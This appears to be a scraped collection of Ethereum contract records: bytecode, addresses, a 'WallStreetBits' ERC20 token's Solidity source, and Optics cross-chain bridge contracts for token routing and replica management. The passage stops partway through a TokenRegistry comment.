0x608060405234801561001057600080fd5b50600436106100575760003560e01c806319ab453c1461005c57806325b50934146100715780635a1db8c414610099578063c412967b146100ac578063d0d603e1146100d7575b600080fd5b61006f61006a366004610492565b6100ea565b005b61008461007f366004610505565b6103f1565b60405190151581526020015b60405180910390f35b61006f6100a73660046104b3565b6103f9565b6100bf6100ba36600461052d565b610441565b6040516001600160a01b039091168152602001610090565b6100bf6100e536600461052d565b61046b565b336001600160a01b038216146101475760405162461bcd60e51b815260206004820152601d60248201527f53553a206f6e6c792077616c6c65742063616e2063616c6c20696e697400000060448201526064015b60405180910390fd5b600054604051631aec629560e21b81526001600160a01b0390911690636bb18a549061017890600290600401610545565b60206040518083038186803b15801561019057600080fd5b505afa1580156101a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c891906104e5565b6102145760405162461bcd60e51b815260206004820152601960248201527f53553a206d6f64756c65206e6f74207265676973746572656400000000000000604482015260640161013e565b60005b6002548110156102d057816001600160a01b0316631f17732d6002838154811061025157634e487b7160e01b600052603260045260246000fd5b60009182526020909120015460405160e083901b6001600160e01b03191681526001600160a01b03909116600482015260016024820152604401600060405180830381600087803b1580156102a557600080fd5b505af11580156102b9573d6000803e3d6000fd5b5050505080806102c890610595565b915050610217565b5060005b60015481101561038d57816001600160a01b0316631f17732d6001838154811061030e57634e487b7160e01b600052603260045260246000fd5b600091825260208220015460405160e084901b6001600160e01b03191681526001600160a01b0390911660048201526024810191909152604401600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b50505050808061038590610595565b9150506102d4565b604051631f17732d60e01b8152306004820152600060248201526001600160a01b03831690631f17732d90604401600060405180830381600087803b1580156103d557600080fd5b505af11580156103e9573d6000803e3d6000fd5b505050505050565b60005b919050565b60405162461bcd60e51b815260206004820152601a60248201527f53553a206d6574686f64206e6f7420696d706c656d656e746564000000000000604482015260640161013e565b6001818154811061045157600080fd5b6000918252602090912001546001600160a01b0316905081565b6002818154811061045157600080fd5b80356001600160a01b03811681146103f457600080fd5b6000602082840312156104a3578081fd5b6104ac8261047b565b9392505050565b600080604083850312156104c5578081fd5b6104ce8361047b565b91506104dc6020840161047b565b90509250929050565b6000602082840312156104f6578081fd5b815180151581146104ac578182fd5b600060208284031215610516578081fd5b81356001600160e01b0319811681146104ac578182fd5b60006020828403121561053e578081fd5b5035919050565b6020808252825482820181905260008481528281209092916040850190845b818110156105895783546001600160a01b031683526001938401939285019201610564565b50909695505050505050565b60006000198214156105b557634e487b7160e01b81526011600452602481fd5b506001019056fea2646970667358221220052b0fbd55648bcaf8a8ff4f19967b0e841e4e4915986b5c3a8eae1301fbf55964736f6c63430008030033
[ 38 ]
0xf1c0f63a9beb1cd9082d8942e6ad575ebe9186eb
pragma solidity ^0.4.24; import "./erc20Interface.sol"; contract WSB is ERC20Interface{ uint256 constant private MAX_UINT256 = 2**256 - 1; /* @var = Token Name */ string public name = "WallStreetBits"; /* @var = Token Symbol */ string public symbol = "WSB"; /* @var = Token decimal places */ uint public decimals = 18; /* @var = Token decimal places */ uint public supply; /* @var = Total Supply */ address public founder; /* @var = balances, store address balances */ mapping(address => uint) public balances; /* @var = allowed, store address allowed values */ mapping(address => mapping(address => uint)) allowed; /* @from = From address @to = To address @value = Ammount to transfer => returns true for successful transfer */ event Transfer(address indexed from, address indexed to, uint value); /* @owner = Owner address @spender = Spender address @value = Ammount approved to spend => returns */ event Approval(address indexed owner, address indexed spender, uint value); /* Init */ constructor() public{ supply = 69000000*10**decimals; founder = msg.sender; balances[founder] = supply; } /* => returns total supply of tokens */ function totalSupply() public view returns (uint){ return supply; } /* @owner = Token Owner => returns value of balance */ function balanceOf(address owner) public view returns (uint balance){ return balances[owner]; } /* @to = To address @value = Ammount to transfer => returns true if successful transfer / false if not */ function transfer(address to, uint value) public returns (bool success){ require(balances[msg.sender] >= value && value > 0); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } /* @from = From address @to = To address @value = Ammount to transfer => returns true for successful transfer */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } /* @owner = Token Owner address @spender = Token Spender address => returns allowance of owner to spender */ function allowance(address owner, address spender) view public returns(uint){ return allowed[owner][spender]; } /* @spender = Spender address @value = Value to for allowance => returns true if approval successful */ function approve(address spender, uint value) public returns(bool){ require(balances[msg.sender] >= value); require(value > 0); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063047fc9aa146100bf57806306fdde03146100ea578063095ea7b31461017a57806318160ddd146101df57806323b872dd1461020a57806327e235e31461028f578063313ce567146102e65780634d853ee51461031157806370a082311461036857806395d89b41146103bf578063a9059cbb1461044f578063dd62ed3e146104b4575b600080fd5b3480156100cb57600080fd5b506100d461052b565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610531565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013f578082015181840152602081019050610124565b50505050905090810190601f16801561016c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018657600080fd5b506101c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cf565b604051808215151515815260200191505060405180910390f35b3480156101eb57600080fd5b506101f461071e565b6040518082815260200191505060405180910390f35b34801561021657600080fd5b50610275600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610728565b604051808215151515815260200191505060405180910390f35b34801561029b57600080fd5b506102d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c2565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b506102fb6109da565b6040518082815260200191505060405180910390f35b34801561031d57600080fd5b506103266109e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a06565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610a4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045b57600080fd5b5061049a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aed565b604051808215151515815260200191505060405180910390f35b3480156104c057600080fd5b50610515600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b60035481565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c75780601f1061059c576101008083540402835291602001916105c7565b820191906000526020600020905b8154815290600101906020018083116105aa57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561061f57600080fd5b60008211151561062e57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600080600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f95750828110155b151561080457600080fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156109515782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60056020528060005260406000206000915090505481565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae55780601f10610aba57610100808354040283529160200191610ae5565b820191906000526020600020905b815481529060010190602001808311610ac857829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3e5750600082115b1515610b4957600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058208b8dd14f030a5f51db677afd2c30d95ed7dd53d725d458297bcd30ee37c9d6e90029
[ 38 ]
0xf1c1413096ff2278C3Df198a28F8D54e0369cF3A
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {BridgeRouter} from "./BridgeRouter.sol"; import {IWeth} from "../../interfaces/bridge/IWeth.sol"; // ============ External Imports ============ import {TypeCasts} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol"; contract ETHHelper { // ============ Immutables ============ // wrapped Ether contract IWeth public immutable weth; // bridge router contract BridgeRouter public immutable bridge; // ============ Constructor ============ constructor(address _weth, address _bridge) { weth = IWeth(_weth); bridge = BridgeRouter(_bridge); IWeth(_weth).approve(_bridge, uint256(-1)); } // ============ External Functions ============ /** * @notice Sends ETH over the Optics Bridge. Sends to a full-width Optics * identifer on the other side. * @dev As with all bridges, improper use may result in loss of funds. * @param _domain The domain to send funds to. * @param _to The 32-byte identifier of the recipient */ function sendTo(uint32 _domain, bytes32 _to) public payable { weth.deposit{value: msg.value}(); bridge.send(address(weth), msg.value, _domain, _to); } /** * @notice Sends ETH over the Optics Bridge. Sends to the same address on * the other side. * @dev WARNING: This function should only be used when sending TO an * EVM-like domain. As with all bridges, improper use may result in loss of * funds. * @param _domain The domain to send funds to */ function send(uint32 _domain) external payable { sendTo(_domain, TypeCasts.addressToBytes32(msg.sender)); } /** * @notice Sends ETH over the Optics Bridge. Sends to a specified EVM * address on the other side. * @dev This function should only be used when sending TO an EVM-like * domain. As with all bridges, improper use may result in loss of funds * @param _domain The domain to send funds to. * @param _to The EVM address of the recipient */ function sendToEVMLike(uint32 _domain, address _to) external payable { sendTo(_domain, TypeCasts.addressToBytes32(_to)); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {TokenRegistry} from "./TokenRegistry.sol"; import {Router} from "../Router.sol"; import {XAppConnectionClient} from "../XAppConnectionClient.sol"; import {IBridgeToken} from "../../interfaces/bridge/IBridgeToken.sol"; import {BridgeMessage} from "./BridgeMessage.sol"; // ============ External Imports ============ import {Home} from "@celo-org/optics-sol/contracts/Home.sol"; import {Version0} from "@celo-org/optics-sol/contracts/Version0.sol"; import {TypeCasts} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol"; import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title BridgeRouter */ contract BridgeRouter is Version0, Router, TokenRegistry { // ============ Libraries ============ using TypedMemView for bytes; using TypedMemView for bytes29; using BridgeMessage for bytes29; using SafeERC20 for IERC20; // ============ Constants ============ // 5 bps (0.05%) hardcoded fast liquidity fee. Can be changed by contract upgrade uint256 public constant PRE_FILL_FEE_NUMERATOR = 9995; uint256 public constant PRE_FILL_FEE_DENOMINATOR = 10000; // ============ Public Storage ============ // token transfer prefill ID => LP that pre-filled message to provide fast liquidity mapping(bytes32 => address) public liquidityProvider; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[49] private __GAP; // ======== Events ========= /** * @notice emitted when tokens are sent from this domain to another domain * @param token the address of the token contract * @param from the address sending tokens * @param toDomain the domain of the chain the tokens are being sent to * @param toId the bytes32 address of the recipient of the tokens * @param amount the amount of tokens sent */ event Send( address indexed token, address indexed from, uint32 indexed toDomain, bytes32 toId, uint256 amount ); // ======== Initializer ======== function initialize(address _tokenBeacon, address _xAppConnectionManager) public initializer { __TokenRegistry_initialize(_tokenBeacon); __XAppConnectionClient_initialize(_xAppConnectionManager); } // ======== External: Handle ========= /** * @notice Handles an incoming message * @param _origin The origin domain * @param _sender The sender address * @param _message The message */ function handle( uint32 _origin, bytes32 _sender, bytes memory _message ) external override onlyReplica onlyRemoteRouter(_origin, _sender) { // parse tokenId and action from message bytes29 _msg = _message.ref(0).mustBeMessage(); bytes29 _tokenId = _msg.tokenId(); bytes29 _action = _msg.action(); // handle message based on the intended action if (_action.isTransfer()) { _handleTransfer(_tokenId, _action); } else if (_action.isDetails()) { _handleDetails(_tokenId, _action); } else if (_action.isRequestDetails()) { _handleRequestDetails(_origin, _sender, _tokenId); } else { require(false, "!valid action"); } } // ======== External: Request Token Details ========= /** * @notice Request updated token metadata from another chain * @dev This is only owner to prevent abuse and spam. Requesting details * should be done automatically on token instantiation * @param _domain The domain where that token is native * @param _id The token id on that domain */ function requestDetails(uint32 _domain, bytes32 _id) external onlyOwner { bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id); _requestDetails(_tokenId); } // ======== External: Send Token ========= /** * @notice Send tokens to a recipient on a remote chain * @param _token The token address * @param _amount The token amount * @param _destination The destination domain * @param _recipient The recipient address */ function send( address _token, uint256 _amount, uint32 _destination, bytes32 _recipient ) external { require(_amount > 0, "!amnt"); require(_recipient != bytes32(0), "!recip"); // get remote BridgeRouter address; revert if not found bytes32 _remote = _mustHaveRemote(_destination); // remove tokens from circulation on this chain IERC20 _bridgeToken = IERC20(_token); if (_isLocalOrigin(_bridgeToken)) { // if the token originates on this chain, hold the tokens in escrow // in the Router _bridgeToken.safeTransferFrom(msg.sender, address(this), _amount); } else { // if the token originates on a remote chain, burn the // representation tokens on this chain _downcast(_bridgeToken).burn(msg.sender, _amount); } // format Transfer Tokens action bytes29 _action = BridgeMessage.formatTransfer(_recipient, _amount); // send message to remote chain via Optics Home(xAppConnectionManager.home()).dispatch( _destination, _remote, BridgeMessage.formatMessage(_formatTokenId(_token), _action) ); // emit Send event to record token sender emit Send( address(_bridgeToken), msg.sender, _destination, _recipient, _amount ); } // ======== External: Fast Liquidity ========= /** * @notice Allows a liquidity provider to give an * end user fast liquidity by pre-filling an * incoming transfer message. * Transfers tokens from the liquidity provider to the end recipient, minus the LP fee; * Records the liquidity provider, who receives * the full token amount when the transfer message is handled. * @dev fast liquidity can only be provided for ONE token transfer * with the same (recipient, amount) at a time. * in the case that multiple token transfers with the same (recipient, amount) * @param _message The incoming transfer message to pre-fill */ function preFill(bytes calldata _message) external { // parse tokenId and action from message bytes29 _msg = _message.ref(0).mustBeMessage(); bytes29 _tokenId = _msg.tokenId().mustBeTokenId(); bytes29 _action = _msg.action().mustBeTransfer(); // calculate prefill ID bytes32 _id = _preFillId(_tokenId, _action); // require that transfer has not already been pre-filled require(liquidityProvider[_id] == address(0), "!unfilled"); // record liquidity provider liquidityProvider[_id] = msg.sender; // transfer tokens from liquidity provider to token recipient IERC20 _token = _mustHaveToken(_tokenId); _token.safeTransferFrom( msg.sender, _action.evmRecipient(), _applyPreFillFee(_action.amnt()) ); } // ======== External: Custom Tokens ========= /** * @notice Enroll a custom token. This allows projects to work with * governance to specify a custom representation. * @dev This is done by inserting the custom representation into the token * lookup tables. It is permissioned to the owner (governance) and can * potentially break token representations. It must be used with extreme * caution. * After the token is inserted, new mint instructions will be sent to the * custom token. The default representation (and old custom representations) * may still be burnt. Until all users have explicitly called migrate, both * representations will continue to exist. * The custom representation MUST be trusted, and MUST allow the router to * both mint AND burn tokens at will. * @param _id the canonical ID of the Token to enroll, as a byte vector * @param _custom the address of the custom implementation to use. */ function enrollCustom( uint32 _domain, bytes32 _id, address _custom ) external onlyOwner { // Sanity check. Ensures that human error doesn't cause an // unpermissioned contract to be enrolled. IBridgeToken(_custom).mint(address(this), 1); IBridgeToken(_custom).burn(address(this), 1); // update mappings with custom token bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id); representationToCanonical[_custom].domain = _tokenId.domain(); representationToCanonical[_custom].id = _tokenId.id(); bytes32 _idHash = _tokenId.keccak(); canonicalToRepresentation[_idHash] = _custom; } /** * @notice Migrate all tokens in a previous representation to the latest * custom representation. This works by looking up local mappings and then * burning old tokens and minting new tokens. * @dev This is explicitly opt-in to allow dapps to decide when and how to * upgrade to the new representation. * @param _oldRepr The address of the old token to migrate */ function migrate(address _oldRepr) external { // get the token ID for the old token contract TokenId memory _id = representationToCanonical[_oldRepr]; require(_id.domain != 0, "!repr"); // ensure that new token & old token are different IBridgeToken _old = IBridgeToken(_oldRepr); IBridgeToken _new = _representationForCanonical(_id); require(_new != _old, "!different"); // burn the old tokens & mint the new ones uint256 _bal = _old.balanceOf(msg.sender); _old.burn(msg.sender, _bal); _new.mint(msg.sender, _bal); } // ============ Internal: Send / UpdateDetails ============ /** * @notice Given a tokenAddress, format the tokenId * identifier for the message. * @param _token The token address * @param _tokenId The bytes-encoded tokenId */ function _formatTokenId(address _token) internal view returns (bytes29 _tokenId) { TokenId memory _tokId = _tokenIdFor(_token); _tokenId = BridgeMessage.formatTokenId(_tokId.domain, _tokId.id); } // ============ Internal: Handle ============ /** * @notice Handles an incoming Transfer message. * * If the token is of local origin, the amount is sent from escrow. * Otherwise, a representation token is minted. * * @param _tokenId The token ID * @param _action The action */ function _handleTransfer(bytes29 _tokenId, bytes29 _action) internal { // get the token contract for the given tokenId on this chain; // (if the token is of remote origin and there is // no existing representation token contract, the TokenRegistry will // deploy a new one) IERC20 _token = _ensureToken(_tokenId); address _recipient = _action.evmRecipient(); // If an LP has prefilled this token transfer, // send the tokens to the LP instead of the recipient bytes32 _id = _preFillId(_tokenId, _action); address _lp = liquidityProvider[_id]; if (_lp != address(0)) { _recipient = _lp; delete liquidityProvider[_id]; } // send the tokens into circulation on this chain if (_isLocalOrigin(_token)) { // if the token is of local origin, the tokens have been held in // escrow in this contract // while they have been circulating on remote chains; // transfer the tokens to the recipient _token.safeTransfer(_recipient, _action.amnt()); } else { // if the token is of remote origin, mint the tokens to the // recipient on this chain _downcast(_token).mint(_recipient, _action.amnt()); } } /** * @notice Handles an incoming Details message. * @param _tokenId The token ID * @param _action The action */ function _handleDetails(bytes29 _tokenId, bytes29 _action) internal { // get the token contract deployed on this chain // revert if no token contract exists IERC20 _token = _mustHaveToken(_tokenId); // require that the token is of remote origin // (otherwise, the BridgeRouter did not deploy the token contract, // and therefore cannot update its metadata) require(!_isLocalOrigin(_token), "!remote origin"); // update the token metadata _downcast(_token).setDetails( TypeCasts.coerceString(_action.name()), TypeCasts.coerceString(_action.symbol()), _action.decimals() ); } /** * @notice Handles an incoming RequestDetails message by sending an * UpdateDetails message to the remote chain * @dev The origin and remote are pre-checked by the handle function * `onlyRemoteRouter` modifier and can be used without additional check * @param _messageOrigin The domain from which the message arrived * @param _messageRemoteRouter The remote router that sent the message * @param _tokenId The token ID */ function _handleRequestDetails( uint32 _messageOrigin, bytes32 _messageRemoteRouter, bytes29 _tokenId ) internal { // get token & ensure is of local origin address _token = _tokenId.evmId(); require(_isLocalOrigin(_token), "!local origin"); IBridgeToken _bridgeToken = IBridgeToken(_token); // format Update Details message bytes29 _updateDetailsAction = BridgeMessage.formatDetails( TypeCasts.coerceBytes32(_bridgeToken.name()), TypeCasts.coerceBytes32(_bridgeToken.symbol()), _bridgeToken.decimals() ); // send message to remote chain via Optics Home(xAppConnectionManager.home()).dispatch( _messageOrigin, _messageRemoteRouter, BridgeMessage.formatMessage(_tokenId, _updateDetailsAction) ); } // ============ Internal: Transfer ============ function _ensureToken(bytes29 _tokenId) internal returns (IERC20) { address _local = _getTokenAddress(_tokenId); if (_local == address(0)) { // Representation does not exist yet; // deploy representation contract _local = _deployToken(_tokenId); // message the origin domain // to request the token details _requestDetails(_tokenId); } return IERC20(_local); } // ============ Internal: Request Details ============ /** * @notice Handles an incoming Details message. * @param _tokenId The token ID */ function _requestDetails(bytes29 _tokenId) internal { uint32 _destination = _tokenId.domain(); // get remote BridgeRouter address; revert if not found bytes32 _remote = remotes[_destination]; if (_remote == bytes32(0)) { return; } // format Request Details message bytes29 _action = BridgeMessage.formatRequestDetails(); // send message to remote chain via Optics Home(xAppConnectionManager.home()).dispatch( _destination, _remote, BridgeMessage.formatMessage(_tokenId, _action) ); } // ============ Internal: Fast Liquidity ============ /** * @notice Calculate the token amount after * taking a 5 bps (0.05%) liquidity provider fee * @param _amnt The token amount before the fee is taken * @return _amtAfterFee The token amount after the fee is taken */ function _applyPreFillFee(uint256 _amnt) internal pure returns (uint256 _amtAfterFee) { // overflow only possible if (2**256 / 9995) tokens sent once // in which case, probably not a real token _amtAfterFee = (_amnt * PRE_FILL_FEE_NUMERATOR) / PRE_FILL_FEE_DENOMINATOR; } /** * @notice get the prefillId used to identify * fast liquidity provision for incoming token send messages * @dev used to identify a token/transfer pair in the prefill LP mapping. * NOTE: This approach has a weakness: a user can receive >1 batch of tokens of * the same size, but only 1 will be eligible for fast liquidity. The * other may only be filled at regular speed. This is because the messages * will have identical `tokenId` and `action` fields. This seems fine, * tbqh. A delay of a few hours on a corner case is acceptable in v1. * @param _tokenId The token ID * @param _action The action */ function _preFillId(bytes29 _tokenId, bytes29 _action) internal view returns (bytes32) { bytes29[] memory _views = new bytes29[](2); _views[0] = _tokenId; _views[1] = _action; return TypedMemView.joinKeccak(_views); } /** * @dev explicit override for compiler inheritance * @dev explicit override for compiler inheritance * @return domain of chain on which the contract is deployed */ function _localDomain() internal view override(TokenRegistry, XAppConnectionClient) returns (uint32) { return XAppConnectionClient._localDomain(); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IWeth { function deposit() external payable; function approve(address _who, uint256 _wad) external; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Home} from "./Home.sol"; import {Replica} from "./Replica.sol"; import {TypeCasts} from "../libs/TypeCasts.sol"; // ============ External Imports ============ import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title XAppConnectionManager * @author Celo Labs Inc. * @notice Manages a registry of local Replica contracts * for remote Home domains. Accepts Watcher signatures * to un-enroll Replicas attached to fraudulent remote Homes */ contract XAppConnectionManager is Ownable { // ============ Public Storage ============ // Home contract Home public home; // local Replica address => remote Home domain mapping(address => uint32) public replicaToDomain; // remote Home domain => local Replica address mapping(uint32 => address) public domainToReplica; // watcher address => replica remote domain => has/doesn't have permission mapping(address => mapping(uint32 => bool)) private watcherPermissions; // ============ Events ============ /** * @notice Emitted when a new Replica is enrolled / added * @param domain the remote domain of the Home contract for the Replica * @param replica the address of the Replica */ event ReplicaEnrolled(uint32 indexed domain, address replica); /** * @notice Emitted when a new Replica is un-enrolled / removed * @param domain the remote domain of the Home contract for the Replica * @param replica the address of the Replica */ event ReplicaUnenrolled(uint32 indexed domain, address replica); /** * @notice Emitted when Watcher permissions are changed * @param domain the remote domain of the Home contract for the Replica * @param watcher the address of the Watcher * @param access TRUE if the Watcher was given permissions, FALSE if permissions were removed */ event WatcherPermissionSet( uint32 indexed domain, address watcher, bool access ); // ============ Modifiers ============ modifier onlyReplica() { require(isReplica(msg.sender), "!replica"); _; } // ============ Constructor ============ // solhint-disable-next-line no-empty-blocks constructor() Ownable() {} // ============ External Functions ============ /** * @notice Un-Enroll a replica contract * in the case that fraud was detected on the Home * @dev in the future, if fraud occurs on the Home contract, * the Watcher will submit their signature directly to the Home * and it can be relayed to all remote chains to un-enroll the Replicas * @param _domain the remote domain of the Home contract for the Replica * @param _updater the address of the Updater for the Home contract (also stored on Replica) * @param _signature signature of watcher on (domain, replica address, updater address) */ function unenrollReplica( uint32 _domain, bytes32 _updater, bytes memory _signature ) external { // ensure that the replica is currently set address _replica = domainToReplica[_domain]; require(_replica != address(0), "!replica exists"); // ensure that the signature is on the proper updater require( Replica(_replica).updater() == TypeCasts.bytes32ToAddress(_updater), "!current updater" ); // get the watcher address from the signature // and ensure that the watcher has permission to un-enroll this replica address _watcher = _recoverWatcherFromSig( _domain, TypeCasts.addressToBytes32(_replica), _updater, _signature ); require(watcherPermissions[_watcher][_domain], "!valid watcher"); // remove the replica from mappings _unenrollReplica(_replica); } /** * @notice Set the address of the local Home contract * @param _home the address of the local Home contract */ function setHome(address _home) external onlyOwner { home = Home(_home); } /** * @notice Allow Owner to enroll Replica contract * @param _replica the address of the Replica * @param _domain the remote domain of the Home contract for the Replica */ function ownerEnrollReplica(address _replica, uint32 _domain) external onlyOwner { // un-enroll any existing replica _unenrollReplica(_replica); // add replica and domain to two-way mapping replicaToDomain[_replica] = _domain; domainToReplica[_domain] = _replica; emit ReplicaEnrolled(_domain, _replica); } /** * @notice Allow Owner to un-enroll Replica contract * @param _replica the address of the Replica */ function ownerUnenrollReplica(address _replica) external onlyOwner { _unenrollReplica(_replica); } /** * @notice Allow Owner to set Watcher permissions for a Replica * @param _watcher the address of the Watcher * @param _domain the remote domain of the Home contract for the Replica * @param _access TRUE to give the Watcher permissions, FALSE to remove permissions */ function setWatcherPermission( address _watcher, uint32 _domain, bool _access ) external onlyOwner { watcherPermissions[_watcher][_domain] = _access; emit WatcherPermissionSet(_domain, _watcher, _access); } /** * @notice Query local domain from Home * @return local domain */ function localDomain() external view returns (uint32) { return home.localDomain(); } /** * @notice Get access permissions for the watcher on the domain * @param _watcher the address of the watcher * @param _domain the domain to check for watcher permissions * @return TRUE iff _watcher has permission to un-enroll replicas on _domain */ function watcherPermission(address _watcher, uint32 _domain) external view returns (bool) { return watcherPermissions[_watcher][_domain]; } // ============ Public Functions ============ /** * @notice Check whether _replica is enrolled * @param _replica the replica to check for enrollment * @return TRUE iff _replica is enrolled */ function isReplica(address _replica) public view returns (bool) { return replicaToDomain[_replica] != 0; } // ============ Internal Functions ============ /** * @notice Remove the replica from the two-way mappings * @param _replica replica to un-enroll */ function _unenrollReplica(address _replica) internal { uint32 _currentDomain = replicaToDomain[_replica]; domainToReplica[_currentDomain] = address(0); replicaToDomain[_replica] = 0; emit ReplicaUnenrolled(_currentDomain, _replica); } /** * @notice Get the Watcher address from the provided signature * @return address of watcher that signed */ function _recoverWatcherFromSig( uint32 _domain, bytes32 _replica, bytes32 _updater, bytes memory _signature ) internal view returns (address) { bytes32 _homeDomainHash = Replica(TypeCasts.bytes32ToAddress(_replica)) .homeDomainHash(); bytes32 _digest = keccak256( abi.encodePacked(_homeDomainHash, _domain, _updater) ); _digest = ECDSA.toEthSignedMessageHash(_digest); return ECDSA.recover(_digest, _signature); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {BridgeMessage} from "./BridgeMessage.sol"; import {Encoding} from "./Encoding.sol"; import {IBridgeToken} from "../../interfaces/bridge/IBridgeToken.sol"; import {XAppConnectionClient} from "../XAppConnectionClient.sol"; // ============ External Imports ============ import {TypeCasts} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol"; import {UpgradeBeaconProxy} from "@celo-org/optics-sol/contracts/upgrade/UpgradeBeaconProxy.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title TokenRegistry * @notice manages a registry of token contracts on this chain * - * We sort token types as "representation token" or "locally originating token". * Locally originating - a token contract that was originally deployed on the local chain * Representation (repr) - a token that was originally deployed on some other chain * - * When the router handles an incoming message, it determines whether the * transfer is for an asset of local origin. If not, it checks for an existing * representation contract. If no such 